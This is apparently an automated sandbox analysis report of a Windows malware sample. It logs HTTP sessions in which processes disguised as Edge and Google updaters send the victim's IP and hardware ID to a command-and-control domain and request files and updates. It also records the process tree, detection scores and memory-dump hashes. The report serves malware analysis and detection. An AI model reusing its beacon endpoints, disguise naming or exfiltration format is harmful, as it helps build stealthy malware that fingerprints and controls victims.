2024-10-03 04:55:13 UTC	603	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXNwLC9FnFqzGrSPPx00BFc01ZOpe9Sd71Wl1bGpJBtoqNlOrLiKLKsClPiiAFTKRu45A%2FVzRmvjsFcREY0jSxOT7AS6x6fjhtP2XPxsBPOEQdGZhp29PIiJOwaTZ1PB7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56b3fed9439f-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49802	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:21 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:21 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:21 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:55:21 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2j%2Bic00dD74A6m4tJJOR9Qo7FVTdlr8oGOIAC5dL9lEExOxnnm9xFR8dsiSjFeJVCUPWRdZtuXd7HBC0lP%2FdDkIGcHnU1dtOktb3DQep9VqxB1y%2BKTY5eqUqMDvIFPR3Ww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56e58ff17cf4-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49804	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:22 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:22 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:22 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:55:23 UTC	635	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w64rDPv9IxpmbXPYM0pZ%2BuwegL4uKrXfxQRXLZ0ZMBW6OQMWd3ogpMw3vfphPaRAREZcnGt7QK8XnqO%2FPXnIwIQfTiPBNNnMKn0wkKokMuECT1zQmHWf14DsXGoEYUBrgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56efebb20f39-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49805	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:23 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:55:23 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:23 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:55:24 UTC	615	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2c59tl%2FLshvPlGaX8Z%2BfZ02IjTTG3%2F%2FE8VIKaPf%2FYZnaJN9aV27v9jOLtnyJ%2B0fHNfVOV%2BxHEXYL6r5lBWIFLJnONkdEDRKGfTC07NmUo06LCGiZFjZVyPtgwTm6wULtng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56f59ed20fab-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49808	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:26 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:27 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:27 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:55:27 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0FFTLaZ1Cm9b9f0fedToE9jfN%2BTsfk7Z1wDEjJMK3lQ5x8xZb%2BgcZsG%2Biom2Z9mImFKkvJR9khJ6A4mEmZqfCQqr6IGPOczoCUQ7UD5biOL1CpfUJ3%2BDttuK02BjDP3wGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca5709cdd04319-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49809	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:27 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:27 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:27 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:55:27 UTC	641	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=POQcepVIRfIVNaES8NgTY%2BsKB5S1m8svLhR0pVpVluEzdh9%2BwfUCfNx2nn3NM%2FE7gF2Lx48cCFU8rhYP63TUb872HprrKodaPUGD%2F%2F8cpaknIZJJc21xGyGn6jGwKyEbSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca570af88415c7-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49811	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:27 UTC	167	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue Connection: Keep-Alive
2024-10-03 04:55:27 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:27 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:55:27 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mzeCG4tOFApSWLUJZSFNWzVWL8Eob%2Brs%2BBKl4d8xxvvVhNMrUNx9z8TThwdq2g4zqfJRuVq5E1DEypDO5vD2AoN07MtpM%2BdQbLEQydqRfahmtrKIpxppcx8mmiz8RObhJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca570bb80a434a-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49812	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:27 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:28 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:55:28 UTC	641	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RJ1LV09gDzSJLjHvmX2qM935mpdVmxpD4DmzPQRIsIENSGE%2BVaCdvoKHGzX2SQiZJIz8p0%2B7Eif2b%2BMvAMBzBOjXkWfrl3qkeMe2ZHmNhD0Kv6tu2S%2FcH55I5R4fW%2BNGqg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca57102c4d5e6d-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49813	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:28 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:28 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:55:28 UTC	615	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9gF%2BQJnM58grxFxZ2Fzjw7Y%2Flo%2BgrI4%2BbaeYA3hc2CtYAkwqccsgE%2Bn1zm%2Bp0e131ELnS782mQSIU78UOxqhVpAbJ8y7umr7Mmb4js1TeBBQUV9wR2X7FVK3%2Bw0bBBMvbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca57115e0742a5-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49814	104.21.54.163	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:28 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:28 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:28 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:55:28 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FCX4L6GtfQLX2t1sUU5nO9wK%2BJrfgPHPBkfiEyZin7aTFnEpDDtz1wcxo7mutt%2BNDrAUZH%2BxHDgNMYyfsoB1Vpqdl8ORoTCJlsLDUyqD7DokdvqW7HUJ8dwaK796FhL7EA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca5711fad172b6-EWR 0

Target ID:	0
Start time:	00:52:17
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6a0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:52:18
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Imagebase:	0xfa0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs Detection: 35%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:52:18
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe" --checker
Imagebase:	0x50000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs Detection: 35%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:52:30
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Imagebase:	0x8f0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:52:31
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6576 -s 948
Imagebase:	0x1f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:52:38
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe"
Imagebase:	0x8e0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:52:39
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5316 -s 948
Imagebase:	0x1f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:52:47
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe"
Imagebase:	0x6b0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	00:52:55
Start date:	03/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe"
Imagebase:	0x4a0000
File size:	27'136 bytes
MD5 hash:	CDB17E17BC4E4D51FDE6A4620CEC014C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 01042201 Relevance: .5, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b959f2a3f2231446cd3f1c1a988434cfd07cb3ef3bc2b2f581adf4e6a7ed44
Instruction ID: d6c2bbc7d40e19633adfb3f7b1990e1de0129e6a3718d4997dfb202c476e585d
Opcode Fuzzy Hash: 31b959f2a3f2231446cd3f1c1a988434cfd07cb3ef3bc2b2f581adf4e6a7ed44
Instruction Fuzzy Hash: 0121B771E007068BCB01EFB9D8545EEBBB5EFD9300710C71AD419A7255EF30A886CB90

Function 010416CC Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cab5e0b61476e77ef1bb4f712ca4b054285e7b3a2be85c80e39d4cc127454d4
Instruction ID: 98e9d2f7b44619e5550fd3e32ad6a89f37717ef80cc034ef0fe1a4a40e0bbb95
Opcode Fuzzy Hash: 3cab5e0b61476e77ef1bb4f712ca4b054285e7b3a2be85c80e39d4cc127454d4
Instruction Fuzzy Hash: 8121CF71D05288AFCF01DBB8D9806DDBFF6AF8A340F1480B7E841A7256DA306D59CB21

Function 0104161D Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3e330bd2e6a5c5b56eff91892d873b8be040aabbc5390edf491eb9fc85ba3d5
Instruction ID: d7ffda4b4d50c73e18e6df702e6a8d5300ab77aa3be97b2d63c83c8e5c9cd31b
Opcode Fuzzy Hash: b3e330bd2e6a5c5b56eff91892d873b8be040aabbc5390edf491eb9fc85ba3d5
Instruction Fuzzy Hash: CF21D371D05248AFCF05DF78D9845DDBFF6EF8A240F1480BAD801A7256DA306D59CB21

Function 010416B5 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db99765cbce6af73f5df00b7b30e8c76f4a42ad11693653b425b583118300c06
Instruction ID: a0cbf39f02d8054ac2b7bc1a10ed7636557a43c4dd46b04712bdbeafed21164f
Opcode Fuzzy Hash: db99765cbce6af73f5df00b7b30e8c76f4a42ad11693653b425b583118300c06
Instruction Fuzzy Hash: D121A171E05249AFCB01DB79D9806DDBFF2AF8A340F1480B6E441A7256D6316D49CB21

Function 01040DE8 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc91c3f121937397569d2dd1509890ea0c0ebad6f25be9f2e10a3be58288192
Instruction ID: 4b5ae5aa1dfb62506df7eaf7c6a09ec4e1994fefce2b908a5217b5bf2a55c38d
Opcode Fuzzy Hash: 8bc91c3f121937397569d2dd1509890ea0c0ebad6f25be9f2e10a3be58288192
Instruction Fuzzy Hash: 34F1D275A002498FDB05DFA8C584ADCBBF2AF49320F1991A4E445FB366DB31AD85CF60

Function 01040DD8 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5db55e5dd689b57be3e028859a38e0e7e5827596b8ed26ef3442f2a6202b97
Instruction ID: c0797834f21b878eb519abfe2f74d4e0033f943e9a1abccd0c823f7073a6e93e
Opcode Fuzzy Hash: 2b5db55e5dd689b57be3e028859a38e0e7e5827596b8ed26ef3442f2a6202b97
Instruction Fuzzy Hash: 1EC1E275A002488FDB05DFA8C584ADCBBF2AF89320F199194E845FB366D731AD85CF60

Function 010425F0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86d213ebf115f28c4b535a0a317612d939bca245847ca66bc2b6032d4e6c223
Instruction ID: 8f138d2f3ddd4945d0b9bc2b04eeed1ccc9ab66c0f1171b2d5b9d747a9a2a960
Opcode Fuzzy Hash: c86d213ebf115f28c4b535a0a317612d939bca245847ca66bc2b6032d4e6c223
Instruction Fuzzy Hash: C65136B0E00218CFDB14CFA9E984BDEBBF5BF88314F148129E455AB254DB74A846CF81

Function 010425E4 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b379a7ef1b6379f3fe62183ac3fbf2c967e21e1b41fda3732646b908b95b17f
Instruction ID: 3efb1ead19b5580b739ace50cd6a246a2d613a6082eaaaa8022f9945272b5146
Opcode Fuzzy Hash: 3b379a7ef1b6379f3fe62183ac3fbf2c967e21e1b41fda3732646b908b95b17f
Instruction Fuzzy Hash: CA5166B1E002599FDB14CFA9E884BDEBFF1BF48304F14812AE485AB254DB749846CF91

Function 010427E0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f338e4ce59b9c3f53effc4ca5c9e80b3209173b91fa05c20d023da13b00e1e
Instruction ID: 267da7d28bf9190ecc7af0161551764f3fabd78fa79a79f40bffcf5a947ff85e
Opcode Fuzzy Hash: 69f338e4ce59b9c3f53effc4ca5c9e80b3209173b91fa05c20d023da13b00e1e
Instruction Fuzzy Hash: FD5157B1E00219DFEB14CFA9E9807DEBBF1BF48344F148039E498A7254DB34A845CB85

Function 010427D6 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 169b88f4fb65b5536e5229c5dcec4e343683d6f39ab9f9493632124ee39f7d54
Instruction ID: e4d7987ac983ebfaa94c43266dde972b04411370d885d1b029c03d50b2bffb16
Opcode Fuzzy Hash: 169b88f4fb65b5536e5229c5dcec4e343683d6f39ab9f9493632124ee39f7d54
Instruction Fuzzy Hash: 9E4166B1E002599FEB14CFA9E880BDEBFF1BF48304F108139E498AB254DB349845CB91

Function 01040B28 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1680937618.0000000001040000.00000040.00000800.00020000.00000000.sdmp, Offset: 01040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1040000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78758b1a9eff8bd9dc96c2178e39b80a6f18979e4b59eea2dd67bad01fed6da
Instruction ID: bd98f8ca2271f9b53ae2f4a713669194ae739d3efb624e6624746657f83871e3
